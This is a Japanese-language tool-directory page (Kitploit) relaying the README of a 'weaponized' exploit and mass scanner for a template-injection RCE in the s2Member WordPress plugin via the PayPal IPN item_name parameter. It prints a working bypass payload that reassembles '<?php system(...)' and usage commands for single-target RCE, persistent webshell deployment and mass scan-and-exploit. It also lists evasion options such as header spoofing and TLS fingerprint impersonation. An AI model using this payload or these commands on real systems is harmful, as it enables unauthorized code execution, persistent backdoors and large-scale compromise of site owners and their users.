Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-86596 — CVE-2026-86596(PayPal IPN の item_name パラメータを介した s2Member のテンプレートインジェクション RCE)に対応する単一ファイルのエクスプロイト兼マススキャナ。バイパスバリアントとウェブシェルのデプロイ機能を備えています。 | Kitploit
ツール/GitHubGitHub/aureels/cve-2026-86596
偵察脆弱性スキャナーペイロード生成エクスプロイトIDS/IPS回避ウェブアプリケーション悪用ウェブセキュリティコマンド&コントロールリモートアクセスツールフィンガープリントスプーフィング
GitHubaureels/cve-2026-86596
51111時間26分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-86596

CVE-2026-86596(PayPal IPN の item_name パラメータを介した s2Member のテンプレートインジェクション RCE)に対応する単一ファイルのエクスプロイト兼マススキャナ。バイパスバリアントとウェブシェルのデプロイ機能を備えています。

リポジトリを見る

CVE-2026-86596 - s2Member <= 260927 武器化RCE

CVSS 9.8 | CVE-2026-86596 | 修正: 261001+

s2Member の item_name IPNパラメータを介したテンプレートインジェクションに対する、単一ファイルの武器化エクスプロイト&スキャナー。

脆弱性

$paypal = strip_php_tags_deep($paypal);           // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Removes %%x%% -> reassembles <?php

ペイロード: <%%x%%?php system('id'); ?> → strip_php_tags_deep をバイパスし、プレースホルダのクリーンアップ後に有効な <?php へ再構築される。

使用方法

# Single target RCE
python3 poc.py target.com --cmd "id" --authorized

# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon

# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

オプション

フラグ説明
--cmd "id"実行するコマンド(または webshell 用の shell:pass)
--scan一括スキャンモード(ファイルからターゲットを読み込む)
--exploitスキャン中にエクスプロイトを試行
--authorizedあらゆるエクスプロイト操作に必須
--reconエクスプロイト前の完全な偵察
--item-number特定の item_number(デフォルト: 自動検出)
--proxy-verifications2member_paypal_proxy_verification キー
--write-testコマンドを実行する代わりにテストファイルを書き込む
--deploy-shell永続的な webshell をデプロイ
--shell-pathwebshell のファイル名(デフォルト: shell.php)
--full-bypassすべてのバイパスバリアントを試行(低速)
--no-evasionすべてのバイパス試行を無効化
--threads Nスキャンスレッド数(デフォルト: 15)
--output fileJSON/CSV を出力
--http-proxyHTTP(S) プロキシ
--impersonateTLS フィンガープリント: chrome/firefox/safari/edge
--insecureTLS 検証を無効化
--verbose詳細出力

バイパスマトリクス

レイヤーバリアント
ペイロード10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
書き込み4: file_put_contents, fopen/fwrite, shell_exec, b64_decode
シェル5: eval, system, assert, b64_eval, shortcode
リクエスト5: form, multipart, dup, multipart-dup, JSON
ヘッダー7: XFF spoof, PayPal referer/origin, IPN headers, cluster
TLS4: chrome, firefox, safari, edge (curl_cffi)

実際のRCEに必要な条件

  • s2Member <= 260927
  • 有効な item_number(保護された投稿/ページのID)
  • PayPal IPN 検証(サンドボックスまたはプロキシ検証キー)
  • テンプレートシンク: do_shortcode() / [s2If php=...]

ファイル

/root/labv/
├── poc.py        # Single weaponized exploit + scanner (384 lines)
├── README.md     # This file
└── targets.txt   # Example target list

参考資料

  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • GitHub PoC: https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member

法的注意

許可されたテスト専用です。 --authorized フラグは書面による許可を確認するものです。

ツールをダウンロード